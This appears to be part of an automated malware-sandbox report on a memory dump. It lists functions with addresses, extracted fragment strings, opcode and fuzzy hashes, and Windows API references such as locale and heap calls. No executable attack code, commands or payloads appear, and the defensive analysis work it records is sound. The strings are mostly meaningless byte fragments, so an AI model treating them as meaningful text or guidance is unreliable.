Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: '~$P@F$`8$eg$q6h$rpJ$b:$zk
API String ID: 0-3468609645
Opcode ID: 521aea09541f2d95337a545d2807985e929fde762879156564fa2d9ea48f169b
Instruction ID: 199a5c25869fee44dcc751b8ed2784e490468a52235a6da457243756159ae16f
Opcode Fuzzy Hash: 521aea09541f2d95337a545d2807985e929fde762879156564fa2d9ea48f169b
Instruction Fuzzy Hash: 0AE132B14083809FC768CF61D589A5FBBE1FBC4758F109A1EF29A86260D7B58948CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00DA77A7, Relevance: 10.3, Strings: 8, Instructions: 275COMMON

Download Yara Rule

Strings

c3, xrefs: 00DA7A2B
]<, xrefs: 00DA79CE
;^<, xrefs: 00DA785D
g, xrefs: 00DA781B
Yi3, xrefs: 00DA7B02
%Z*, xrefs: 00DA7AB7
xB, xrefs: 00DA7A23
jHF6, xrefs: 00DA7984

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: %Z*$;^<$Yi3$]<$c3$g$jHF6$xB
API String ID: 0-3236717411
Opcode ID: e1e2209c7a7fbabdc38352aaf445834279ab8b4f846f86f0d1df0d6ab6072e88
Instruction ID: 19af3560fc1017859009bcc4f23f560d6f396d9f73a795b83e476a0a3777cda4
Opcode Fuzzy Hash: e1e2209c7a7fbabdc38352aaf445834279ab8b4f846f86f0d1df0d6ab6072e88
Instruction Fuzzy Hash: 4DD10EB24083809FD764CF65C989A1BFBE1FBC5748F10891DF2968A260D7B29949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00DA710D, Relevance: 10.2, Strings: 8, Instructions: 235COMMON

Download Yara Rule

Strings

9/x, xrefs: 00DA731A
GJL, xrefs: 00DA71B6
.{u, xrefs: 00DA7291
@f, xrefs: 00DA740B
=}s, xrefs: 00DA71F7
5dBy, xrefs: 00DA736F
rwMZ, xrefs: 00DA7275
<, xrefs: 00DA72A9

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: <$.{u$5dBy$9/x$@f$GJL$rwMZ$=}s
API String ID: 0-3615119605
Opcode ID: 859b430d62eb94129897b2a2c7b797a5885f3e534a2a395bc0ad253872780534
Instruction ID: 671bfc97535e6528b4533bf882aaea230148773d0ba5bd255e7cd34df0671964
Opcode Fuzzy Hash: 859b430d62eb94129897b2a2c7b797a5885f3e534a2a395bc0ad253872780534
Instruction Fuzzy Hash: F5C1FD724083819FD768CF21C98A94BBBE1FBC5758F108E1DF1AA96260D7B58909CF47

Uniqueness

Uniqueness Score: -1.00%

Function 6E921F65, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1343COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6E9220E0

Strings

1#INF, xrefs: 6E9232AD
1#QNAN, xrefs: 6E923290
1#IND, xrefs: 6E923282
1#SNAN, xrefs: 6E923289

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 4815fb6d441ebc1c95f009532e29d85da74c5ba18ee7d39d48e864b7a8fd6d7d
Instruction ID: e7ae7f127e450b5763cceaa1fb60befa457035831515732106539b44f3ea4003
Opcode Fuzzy Hash: 4815fb6d441ebc1c95f009532e29d85da74c5ba18ee7d39d48e864b7a8fd6d7d
Instruction Fuzzy Hash: A3C24B71E286298FDF65CEA8DD407D9B3B9EF49304F1045EAD80DA7248E775AE818F40

Uniqueness

Uniqueness Score: -1.00%

Function 6E902C70, Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 404COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(6E8F0000,?,00000104), ref: 6E902E5C
GetModuleHandleW.KERNEL32(00000000), ref: 6E9030C6

Part of subcall function 6E8F7B50: RaiseException.KERNEL32(?,?,00000000,00000000), ref: 6E8F7B5D

Strings

REGISTRY, xrefs: 6E9031F2
Module, xrefs: 6E903171
Module_Raw, xrefs: 6E9031A0

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Module$ExceptionFileHandleNameRaise
String ID: Module$Module_Raw$REGISTRY
API String ID: 1728487212-549000027
Opcode ID: 0c82e2668ea39355815b0c5f56c0a993e35154d5355c3c6b134bf3bdb078d330
Instruction ID: 0a8e915e882c65a159a0b0a449a447337b39f5da50524691f69e9b562399e821
Opcode Fuzzy Hash: 0c82e2668ea39355815b0c5f56c0a993e35154d5355c3c6b134bf3bdb078d330
Instruction Fuzzy Hash: 32E193B5A016258BDF64DBA8DC64BDE73B8BF55308F4005ADD80EA7640EB74DE848F42

Uniqueness

Uniqueness Score: -1.00%

Function 00DA645F, Relevance: 9.1, Strings: 7, Instructions: 347COMMON

Download Yara Rule

Strings

Q0f[, xrefs: 00DA6767
y@, xrefs: 00DA68EA
^., xrefs: 00DA65A4
> , xrefs: 00DA67F7
U~p, xrefs: 00DA6544
), xrefs: 00DA6601
vI[, xrefs: 00DA67AD

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: > $Q0f[$U~p$vI[$)$^.$y@
API String ID: 0-3549945254
Opcode ID: e99c1fb2487f1a21cba81a7a5bd15f2a8fcd60f9c05ad87de20bc7758406dff3
Instruction ID: 46e867dfc9e018aa1619fd06ff758ae2ec88a029a77a9d5c56f9fd34b0052466
Opcode Fuzzy Hash: e99c1fb2487f1a21cba81a7a5bd15f2a8fcd60f9c05ad87de20bc7758406dff3
Instruction Fuzzy Hash: 33025EB2408381DFD768CF21C58AA5BFBE1FB95708F10891DE29A86260D3B1D949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 6E907334, Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,6E907250,00000000,?,6E9073E8,00000000), ref: 6E907336
GetProcessHeap.KERNEL32(00000008,00000008,00000000,00000000), ref: 6E90735D
HeapAlloc.KERNEL32(00000000), ref: 6E907364
InitializeSListHead.KERNEL32(00000000), ref: 6E907371
GetProcessHeap.KERNEL32(00000000,00000000), ref: 6E907386
HeapFree.KERNEL32(00000000), ref: 6E90738D

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocFeatureFreeHeadInitializeListPresentProcessor
String ID:
API String ID: 1475849761-0
Opcode ID: cdee785429113ceae264089eb9f9c5a1e662f2a48140ca043001909b58bc8ed1
Instruction ID: 26a7a42a673c1b26e3147bef733d67635e3e5475e2852c84585ae8b01091c661
Opcode Fuzzy Hash: cdee785429113ceae264089eb9f9c5a1e662f2a48140ca043001909b58bc8ed1
Instruction Fuzzy Hash: B8F04472664B029FEF516F799909B1637F9AF86721F11442DFD8AD3280DB64C4409A50

Uniqueness

Uniqueness Score: -1.00%

Function 00D98112, Relevance: 9.0, Strings: 7, Instructions: 279COMMON

Download Yara Rule

Strings

P^, xrefs: 00D9856C
Vf., xrefs: 00D98305
9?, xrefs: 00D984EF
-J, xrefs: 00D982A3
NBD, xrefs: 00D98177
Sz, xrefs: 00D9873D
NBD, xrefs: 00D985B7

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: -J$9?$NBD$NBD$P^$Sz$Vf.
API String ID: 0-1644255200
Opcode ID: 37d90f2a3d9f9c6db641505dbaf6ae258afdbe1f8eedf3710a17dd219b2a639e
Instruction ID: 552980b3ac5f00a8edbb56e677f830a921e113f4b1b24f7444c5e3a3aeea1f3a
Opcode Fuzzy Hash: 37d90f2a3d9f9c6db641505dbaf6ae258afdbe1f8eedf3710a17dd219b2a639e
Instruction Fuzzy Hash: 15E11FB2508381DFC7A8CF25D58A64BBBF1FBC4748F508A0CF19986260C7B48949CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00DA473A, Relevance: 9.0, Strings: 7, Instructions: 261COMMON

Download Yara Rule

Strings

-a(, xrefs: 00DA4A06
|p, xrefs: 00DA48F2
@#, xrefs: 00DA49BC
aA]<, xrefs: 00DA4816
G&, xrefs: 00DA4AE9
D, xrefs: 00DA4B45
@I, xrefs: 00DA4A6E

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: -a($@#$@I$D$G&$aA]<$|p
API String ID: 0-3359372099
Opcode ID: c23cdb478e310747bcf23a11dbef40412e00b9faa11adf3a0e3ea46bbec15f0b
Instruction ID: 71ee1faa0ab14cf37dd0d3e1fc6fca79400616743d72e43535a71819c5b089cc
Opcode Fuzzy Hash: c23cdb478e310747bcf23a11dbef40412e00b9faa11adf3a0e3ea46bbec15f0b
Instruction Fuzzy Hash: F9C10E725083809FD368CF26C98A91BFBE2FBC5758F108A1DF29596260D3B58949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00DA04A4, Relevance: 9.0, Strings: 7, Instructions: 202COMMON

Download Yara Rule

Strings

}', xrefs: 00DA07D6
}', xrefs: 00DA080A
}', xrefs: 00DA070A
4t, xrefs: 00DA051F
H}B, xrefs: 00DA062E
', xrefs: 00DA06CB
LH, xrefs: 00DA055B

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 4t$H}B$LH$}'$}'$}'$'
API String ID: 0-3450385318
Opcode ID: 0dae04e0db0401787db80cf3be9f99850a390fa49035fcbd3db3755488c5e7b0
Instruction ID: 9cb7fca14c9efe985bff80e713c2330f8152f4ebd89fc23eb0d48002d1e14328
Opcode Fuzzy Hash: 0dae04e0db0401787db80cf3be9f99850a390fa49035fcbd3db3755488c5e7b0
Instruction Fuzzy Hash: 2E9120722093409FC358CF65D58A81BBBF2FBC9748F108A0DF19986260D7B1DA48CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00DA604E, Relevance: 9.0, Strings: 7, Instructions: 201COMMON

Download Yara Rule

Strings

fm>, xrefs: 00DA6110
T5(, xrefs: 00DA61E9
6"-, xrefs: 00DA618A
?)U8, xrefs: 00DA6223
'%,, xrefs: 00DA60DF
9,|, xrefs: 00DA6117
hEG, xrefs: 00DA606B

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: '%,$6"-$9,|$?)U8$T5($fm>$hEG
API String ID: 0-4282948982
Opcode ID: 97228ab59ed9630f98e9f0e5e78fbbfcc72a5cdc37ae4c889db6885b95efb7da
Instruction ID: fe239bca4f2759eeb245f2fc8dfcdc7af2271ea5fc63c8f87210399d39bf2c85
Opcode Fuzzy Hash: 97228ab59ed9630f98e9f0e5e78fbbfcc72a5cdc37ae4c889db6885b95efb7da
Instruction Fuzzy Hash: 86A10FB5D0121CEBCF08CFE5D98A8DEBBB2FB48304F20815AE416BA250D7B51A49CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6E924DA4, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(51CEB70F,2000000B,00000000,00000002,00000000,?,?,?,6E9250CA,?,00000000), ref: 6E924E3D
GetLocaleInfoW.KERNEL32(51CEB70F,20001004,00000000,00000002,00000000,?,?,?,6E9250CA,?,00000000), ref: 6E924E66
GetACP.KERNEL32(?,?,6E9250CA,?,00000000), ref: 6E924E7B

Strings

ACP, xrefs: 6E924DC2
OCP, xrefs: 6E924DF8

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 68218184e9c4b636f7d2a6c7a2b39628ce3174cd5d7dc7088538839f55a02d2e
Instruction ID: 53d6429b2d37eac9a5a268d2b387ca4c4b5e115b27bf4881f06e548ec2315b05
Opcode Fuzzy Hash: 68218184e9c4b636f7d2a6c7a2b39628ce3174cd5d7dc7088538839f55a02d2e
Instruction Fuzzy Hash: 1621B522A74101AFFF65CFE5D900A8772AEAF44B20B424534E819D711CE732D943CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00DA3130, Relevance: 7.9, Strings: 6, Instructions: 386COMMON

Download Yara Rule

Strings

{d, xrefs: 00DA32BA
c/, xrefs: 00DA33C2
-o, xrefs: 00DA3472
7]bM, xrefs: 00DA3313
z, xrefs: 00DA332B
BD, xrefs: 00DA3498

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: BD$-o$7]bM$c/${d$z
API String ID: 0-1369920251
Opcode ID: 0978cbd6e6b2e58b4b5b5a330a28090e9600e36508660258ce69f92898b9e1cc
Instruction ID: b683443b2f296b8aff74295cb9e6f1d6c9b30fa53e2385824d5b04140a2be6db
Opcode Fuzzy Hash: 0978cbd6e6b2e58b4b5b5a330a28090e9600e36508660258ce69f92898b9e1cc
Instruction Fuzzy Hash: F31221729083809FE368DF24C48AA4BFBE2BBC5744F10891DF5DA86260D7B58948CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00D9B12E, Relevance: 7.8, Strings: 6, Instructions: 313COMMON

Download Yara Rule

Strings

SG#, xrefs: 00D9B1F4
v', xrefs: 00D9B5EB
%r7, xrefs: 00D9B2CD
TY, xrefs: 00D9B484
qt, xrefs: 00D9B2DE
6m%, xrefs: 00D9B375

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: %r7$6m%$SG#$TY$qt$v'
API String ID: 0-3237691032
Opcode ID: 5635d96602cc8e0d3ec95a603e982b491cec4f5e787b576354c4f33615c6c44c
Instruction ID: 2faa8fb9b2d4fcd4e822b435cd841bdca1e7ed7bdd6ae28b4e098f42c40d0126
Opcode Fuzzy Hash: 5635d96602cc8e0d3ec95a603e982b491cec4f5e787b576354c4f33615c6c44c
Instruction Fuzzy Hash: 84F1FEB14083809FD765CF61C94AA9BBBF1FBC5748F10891CF2DA86260D7B58909CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00D9D899, Relevance: 7.8, Strings: 6, Instructions: 266COMMON

Download Yara Rule

Strings

2Kz, xrefs: 00D9DA2E
'Q-, xrefs: 00D9D90E
E_g, xrefs: 00D9D92E
bf, xrefs: 00D9DAD5
&hL, xrefs: 00D9DCAC
&hL, xrefs: 00D9DCEB

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &hL$&hL$'Q-$2Kz$E_g$bf
API String ID: 0-3327759155
Opcode ID: 818fcac5b5801ca78e024e69867041b2eb9182ed99eaae261f8d373ea8ec87c4
Instruction ID: afe6a69f063f75155575ef8c5d9c4a2b632ed49953038270803a42b2024a1766
Opcode Fuzzy Hash: 818fcac5b5801ca78e024e69867041b2eb9182ed99eaae261f8d373ea8ec87c4
Instruction Fuzzy Hash: 91C132725093418FC368DF25D58A40BBBE2FBD8748F108A2DF5959A260D7B6C949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 00DABA18, Relevance: 7.8, Strings: 6, Instructions: 254COMMON

Download Yara Rule

Strings

DF`, xrefs: 00DABA30
Wv, xrefs: 00DABADC
XF, xrefs: 00DABB01
j,r), xrefs: 00DABCEB
OE, xrefs: 00DABBBA
OY<, xrefs: 00DABC8E

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: OE$OY<$Wv$XF$j,r)$DF`
API String ID: 0-3120813865
Opcode ID: 31bed4341b08918520b6172ef665e7cbb05602c0c2f6b93a8952a84c9c1bbec9
Instruction ID: a59a453dd33eacc5297bc36f545968c28ec42ce46a046639bef2b9045502c699
Opcode Fuzzy Hash: 31bed4341b08918520b6172ef665e7cbb05602c0c2f6b93a8952a84c9c1bbec9
Instruction Fuzzy Hash: 19C152725083419FD398CF65C58A84BFBE1FBC4758F108A1DF1A68A260D3B5DA09CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00DAE7DA, Relevance: 7.8, Strings: 6, Instructions: 253COMMON

Download Yara Rule

Strings

X(, xrefs: 00DAEB02
Ti, xrefs: 00DAE85F
vtc, xrefs: 00DAE990
"E), xrefs: 00DAE9B1
~Mj, xrefs: 00DAEA7E
|, xrefs: 00DAE978

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: "E)$Ti$X($vtc$|$~Mj
API String ID: 0-2927301414
Opcode ID: 3d8ec008e6dc49c306694b80d1cb3fa0644b027db4ae6c0dfe7877f2034c749e
Instruction ID: 99d4674b5875b98c61cd849d3517ce8bd7a941c3bbcc75113dc1c7ca73989644
Opcode Fuzzy Hash: 3d8ec008e6dc49c306694b80d1cb3fa0644b027db4ae6c0dfe7877f2034c749e
Instruction Fuzzy Hash: 4FC130728083809FD768CF65C58A80BFBE2FBC5758F108A1DF59A96260D3B58909CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00DA0A37, Relevance: 7.8, Strings: 6, Instructions: 251COMMON

Download Yara Rule

Strings

8z, xrefs: 00DA0D80
8z, xrefs: 00DA0A83
~a, xrefs: 00DA0BA0
His, xrefs: 00DA0AB2
(TO, xrefs: 00DA0B57
0;, xrefs: 00DA0BD8

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (TO$0;$8z$8z$His$~a
API String ID: 0-2714135093
Opcode ID: df3878934ae7ed5ea030270df1f8f08988b6eeb6046ee7f2e8ef2026ca98c2c6
Instruction ID: 4e68aca54a4e4afb9a21a7883f9c9304e7bc5def24c7e0d67e9978257fe5d7cd
Opcode Fuzzy Hash: df3878934ae7ed5ea030270df1f8f08988b6eeb6046ee7f2e8ef2026ca98c2c6
Instruction Fuzzy Hash: 5BC14F724083809FC7A8CF65C88991BBBE1FBD6748F448A1DF69686260D7B5C948CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00D9196D, Relevance: 7.7, Strings: 6, Instructions: 234COMMON

Download Yara Rule

Strings

), xrefs: 00D91A56
I+C, xrefs: 00D91B36
i_Z, xrefs: 00D91B6B
Ht|, xrefs: 00D919FB
E5, xrefs: 00D91B09
\a, xrefs: 00D91B80

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: )$E5$Ht|$I+C$\a$i_Z
API String ID: 0-3197448685
Opcode ID: 0b72efcd7d38721ca27b96012d2fb9df5fb4428ef81245a3166cb02acafd90b5
Instruction ID: 5560029fdaaa0e6601b6f80058f8e282d644ee378c317902d07667870dcd207e
Opcode Fuzzy Hash: 0b72efcd7d38721ca27b96012d2fb9df5fb4428ef81245a3166cb02acafd90b5
Instruction Fuzzy Hash: C6B151B64083428FC758CF69D58941BFBF1BBC4358F14492CF6A5A6260D3B1CA49CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00DA5B7C, Relevance: 7.7, Strings: 6, Instructions: 228COMMON

Download Yara Rule

Strings

l] , xrefs: 00DA5D61
HU;, xrefs: 00DA5DD5
,S, xrefs: 00DA5B93
YY, xrefs: 00DA5C77
*ZV, xrefs: 00DA5BE7
&?, xrefs: 00DA5CA8

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &?$*ZV$,S$HU;$YY$l]
API String ID: 0-166477480
Opcode ID: 8379d690d42ec0717b2dc05813671df429d046ea21c66b5b0be9c591ecf28804
Instruction ID: 9fdc48eb8cd994f7fce043d7a3970f126e9e65589d4bb73628412c60ac2492ab
Opcode Fuzzy Hash: 8379d690d42ec0717b2dc05813671df429d046ea21c66b5b0be9c591ecf28804
Instruction Fuzzy Hash: CCB12EB2A093419FC364CF29D18580FFBE1BBD5758F148A2DF59596224D3B1CA49CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00D99565, Relevance: 7.7, Strings: 6, Instructions: 205COMMON

Download Yara Rule

Strings

L *, xrefs: 00D99794
t&, xrefs: 00D9970A
`w, xrefs: 00D9972A
p, xrefs: 00D99837
K}, xrefs: 00D9976B
tV, xrefs: 00D996D5

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: K}$L *$`w$t&$tV$p
API String ID: 0-1343311438
Opcode ID: 1025a9fca5dc27b5248650f1b7496e1737b0f4751eecf5b6ee4b44666dcddbfa
Instruction ID: bd75e2038eb9f341102cff8a31004d481f07ff0514cb94f7e6b246b7055b9c23
Opcode Fuzzy Hash: 1025a9fca5dc27b5248650f1b7496e1737b0f4751eecf5b6ee4b44666dcddbfa
Instruction Fuzzy Hash: 36A14FB2808381AFD798CF25D48A40BFBE1FB94758F005A1CF19596220D7B6DA09CF83

Uniqueness

Uniqueness Score: -1.00%

Function 6E924F7F, Relevance: 7.7, APIs: 5, Instructions: 184COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

Part of subcall function 6E91897C: _free.LIBCMT ref: 6E9189DE
Part of subcall function 6E91897C: _free.LIBCMT ref: 6E918A14

GetUserDefaultLCID.KERNEL32(00000055,?,?), ref: 6E92508B
IsValidCodePage.KERNEL32(00000000), ref: 6E9250D6
IsValidLocale.KERNEL32(?,00000001), ref: 6E9250E5
GetLocaleInfoW.KERNEL32(?,00001001,6E919DC4,00000040,?,6E919EE4,00000055,00000000,?,?,00000055,00000000), ref: 6E92512D
GetLocaleInfoW.KERNEL32(?,00001002,6E919E44,00000040), ref: 6E92514C

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: a8a74762fb27f984db21a2d76d066a72d2cc033d5a287acf16f0e0d761a2074e
Instruction ID: fbca616e197f97e821db5af6d2a4628019e1c997e777ba5ed7811ace4aa8f920
Opcode Fuzzy Hash: a8a74762fb27f984db21a2d76d066a72d2cc033d5a287acf16f0e0d761a2074e
Instruction Fuzzy Hash: 5D516FB296420AAFEF51DFE5CC40AEA77BCAF55700F004879A918EB14CD771D9448FA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D9FBEF, Relevance: 6.5, Strings: 5, Instructions: 278COMMON

Download Yara Rule

Strings

ge, xrefs: 00DA0039
;, xrefs: 00D9FF36
G~s, xrefs: 00D9FBF5
y, xrefs: 00D9FC63
ED:, xrefs: 00D9FF9B

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ;$ED:$G~s$ge$y
API String ID: 0-4105283278
Opcode ID: 4b9d689a3f9c6b11879edbffd25109a1c077bbe14538e8f8fd73418699eff80b
Instruction ID: 8866ef31d11cb70e5e76a37b592fb938ce5e9d2b4367653e626eaf2b4fe20bca
Opcode Fuzzy Hash: 4b9d689a3f9c6b11879edbffd25109a1c077bbe14538e8f8fd73418699eff80b
Instruction Fuzzy Hash: B1E10F715083809FC3A8CF26C98A60BFBE2FBC5708F508A0DF59996260D7B58949CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00D9BEF5, Relevance: 6.5, Strings: 5, Instructions: 240COMMON

Download Yara Rule

Strings

>/f, xrefs: 00D9BF84
oNL, xrefs: 00D9BEF8
ln, xrefs: 00D9BF02
", xrefs: 00D9C08D
I, xrefs: 00D9C14F

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: "$>/f$I$ln$oNL
API String ID: 0-652186313
Opcode ID: c50f830ca5484a9cfa83ddbd56a02475b7f5ff06ee338364027321450602d473
Instruction ID: 8fa41f52271eaaafe6bb3d068bd668b80a4ccb9f2e3792869f11ea450e0e2d71
Opcode Fuzzy Hash: c50f830ca5484a9cfa83ddbd56a02475b7f5ff06ee338364027321450602d473
Instruction Fuzzy Hash: F9C150B10183818FC358CF65C58555BBBF1FBC9708F108A0DF19A96260D3B8DA49CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00DA56A9, Relevance: 6.5, Strings: 5, Instructions: 217COMMON

Download Yara Rule

Strings

]t, xrefs: 00DA58BD
,d, xrefs: 00DA5908
W, xrefs: 00DA56F5
(j], xrefs: 00DA5722
WQ, xrefs: 00DA57BF

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (j]$,d$WQ$W$]t
API String ID: 0-3511903769
Opcode ID: 7a4ba79762f30933a3ff731c3d9efc3663c74bc1b19e0eedca0dfb92fb7535d1
Instruction ID: 1d01628c59fe8209e38296bf02fe0c45cee110d087637f588d222f6561704014
Opcode Fuzzy Hash: 7a4ba79762f30933a3ff731c3d9efc3663c74bc1b19e0eedca0dfb92fb7535d1
Instruction Fuzzy Hash: 3AA14F711087809FC358CF25D48A91BBBF1FBC5358F604A1DF5869A264C3B5CA49CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00D9E336, Relevance: 6.5, Strings: 5, Instructions: 215COMMON

Download Yara Rule

Strings

Y1, xrefs: 00D9E43F
S3, xrefs: 00D9E4D8
y@ko, xrefs: 00D9E40B
&", xrefs: 00D9E5B8
1, xrefs: 00D9E457

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &"$S3$Y1$y@ko$1
API String ID: 0-1237345320
Opcode ID: 9c0ee166a0d573da2383d4e941f13942f6eb3f52a2fce6c77f87b5e0c06da37b
Instruction ID: bf6c6ffd624e4f36ff6309ec216aba808d5dd8d7715cc13560f8355b1a83fd4a
Opcode Fuzzy Hash: 9c0ee166a0d573da2383d4e941f13942f6eb3f52a2fce6c77f87b5e0c06da37b
Instruction Fuzzy Hash: B9A15172509341AFD758CF61C58992BFBE2FBD8708F40891DF29A96260D3B1DA098F53

Uniqueness

Uniqueness Score: -1.00%

Function 00DAD10B, Relevance: 6.4, Strings: 5, Instructions: 200COMMON

Download Yara Rule

Strings

(1p, xrefs: 00DAD27C
2l, xrefs: 00DAD216
5EV~, xrefs: 00DAD15F
FnE, xrefs: 00DAD14F
u'd, xrefs: 00DAD323

Memory Dump Source

